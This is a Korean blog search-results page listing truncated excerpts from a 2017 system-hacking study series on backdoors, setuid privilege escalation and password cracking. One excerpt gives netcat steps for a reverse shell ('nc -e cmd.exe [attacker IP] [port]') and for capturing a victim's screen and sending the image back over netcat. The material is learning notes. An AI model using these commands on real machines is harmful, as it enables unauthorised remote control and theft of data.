system hacking 검색 결과

해당 글 13건

[D+5] Backdoor (백도어) (2)

3. 백도어 (Backdoor) 3) 활용 ▣ 방화벽 우회 백도어 (NetCat) / 리버스텔넷 - 희생자화면 캡처하기- nc.exe 와 nircmd.exe가 필요함. (nircmd는 해킹툴이 아니고 명령어 실행툴)- 희생자의 컴퓨터에 nc.exe와 nircmd.exe 파일을 심어놨다는 가정하에 진행. ① 공격자컴 : nc -l -p [포트번호] ② 희생자컴 : nc -e cmd.exe [공격자 IP] [포트번호] ----- 밑의 명령어들은 모두 공격자가 실행.③ 붙은 희생자 cmd : nircmd savescreenshot [저장할 파일명]④ 공격자 컴의 새로운 cmd 창 : nc -l -p [또다른 포트번호] > [저장할 파일명]⑤ 붙은 희생자 cmd : type [전송할 파일명] | nc -w [전..
해킹&보안/시스템해킹&보안 2017. 3. 8. 23:34

[D+4] Backdoor (백도어) (1)

3. 백도어 (Backdoor) 1) 정의 - 시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램. - 해킹이 아닌 해킹 성공 후의 후속조치임. (크래커)- 개발 과정 및 원격에서 문제해결에 필요한 통로이다. (주로 해커 또는 관리자들이 많이 사용) 2) 소개 ▣ 로컬 백도어- 서버의 쉘을 얻어낸 뒤에 관리로 권한 상승을 할 때 사용하는 백도어- 트랩도어 역시 로컬 백도어라 생각할 수 있음.- 시스템에 로그인한 뒤에 관리자로 권한상승을 시키기 위한 백도어.- 단순하게 실행하면 관리자가 됨. - 단점 : 공격자는 실행하기위한 일반 계정이 하나정도는 필요함. ▣ 원격 백도어- 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 ..
해킹&보안/시스템해킹&보안 2017. 3. 7. 19:12

[D+3] Setuid (권한상승)

2. 권한상승 (setuid) 1) 권한상승 복습 ▣ setuid- 파일 소유자의 실행권한을 잠시 빌려오는 것. ▣ chmod - SetUID : 4000- SetGID : 2000- Sticky-bit : 1000 (공용 디렉토리) -> tmp와 같은 디렉토리 ▣ setuid가 걸렸는지 확인하기- ls -al 명령어로 권한을 보면 s나 S로 확인이 가능.- S : 파일 실행 권한이 없음.- s : 파일 실행 권한이 있음. ▣ setuid를 왜 사용하는가? (하나의 예)- 모든 사용자는 /usr/bin/passwd 파일로, 자신의 password를 변경할 수 있음.- 그러나 password 변경은 /etc/shadow를 수정해야만 함.- 이 때, 이 shadow 파일은 root만이 사용가능 하므로 잠시 ..
해킹&보안/시스템해킹&보안 2017. 3. 6. 19:20

[D+2] 패스워드 크래킹 (2)

1. 패스워드 크래킹 5)패스워드 크래킹 방법론 ▣ 레인보우 테이블 (Rainbow Table) 공격 - 레인보우 테이블은 최초 패스워드와 마지막 해시 값으로 생성 - 내가 훔쳐온 해시값이랑 해당 해시(BFE4D570E9301V)랑 같다해서 패스워드가 123456은 아님.- 대신 그 과정속에는 반드시 패스워드가 있음. ▣ 레인보우 테이블로 패스워드 찾기 - 해시 값 "87XCVB48CVB6S6"의 패스워드를 찾아보자 ① Rainbow Table에 존재 하지 않음② 87XCVB48CVB6S6를 R함수에 적용.☞ 결과 : 874866☞ 결과 874866 을 다시 MD5 적용☞ 결과 : D4353281BA01F③ Rainbow Table에 존재한다 해서 87XCVB48CVB6S6에 해당하는 패스워드가 8748..
해킹&보안/시스템해킹&보안 2017. 3. 5. 17:28

[D+1] 패스워드 크래킹 (1)

1. 패스워드 크래킹 1) 인증 및 인증수단 ▣ 인증이란? - 로그인 요청 등을 통해 통신 상에서 보내는 사람의 자격검증 ▣ 인증 수단1. 알고 있는 것(Something you know) : password2. 가지고 있는 것(Something you have) : 신용카드, RFID 카드3. 자신의 어떤 것(Something you are) : 지문, 망막, 음성, 서명4. 자신이 있는 곳(Somewhere you are) : 위치 - 가장 빈번하게 사용되는 인증 수단은 password- 은행, 주식, 군대 등 가장 흔하게 사용- 패스워드는 해커에게 가장 매력적인 침투 수단☞ ID와 PW만 알고 있으면 어디서든 침투 가능하니까. 2) 취약한 패스워드 분류 ▣ 취약한 패스워드1. 길이가 너무 짧거나 아..
해킹&보안/시스템해킹&보안 2017. 3. 2. 19:08